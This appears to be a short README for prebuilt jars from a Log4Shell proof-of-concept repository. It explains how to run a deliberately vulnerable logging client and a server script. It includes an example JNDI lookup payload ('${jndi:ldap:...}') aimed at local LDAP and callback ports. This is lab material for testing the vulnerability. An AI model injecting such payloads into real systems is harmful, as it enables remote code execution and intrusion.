These have the jar files that would be built in the l4s_poc repo. If you have issues building them because of work restrictions pulling in external repos this should solve the issue.

The client jar has a web server and a cmd line module.

java -jar l4sclients-0.1-all.jar [PORT]

This will default to port 8888 and will log the header log_me
If not found we look for a header log_me_b64 and base64 decode that header and log it. It will also look for a single param called log_me. Note it must be url encoded.

You can also run a CmdLine that will log the first param passed in.
java -cp l4sclients-0.1-all.jar Log4jCmdLine '${jndi:ldap:https://127.0.0.1:1389/#MM:127.0.0.1:4444}'

Note this is the same jar but run as a classpath entry with an explict class listed.

If you create a dir target under l4sutils and copy the l4sutils-0.1-all.jar in that dir then you can run the run_servers.py
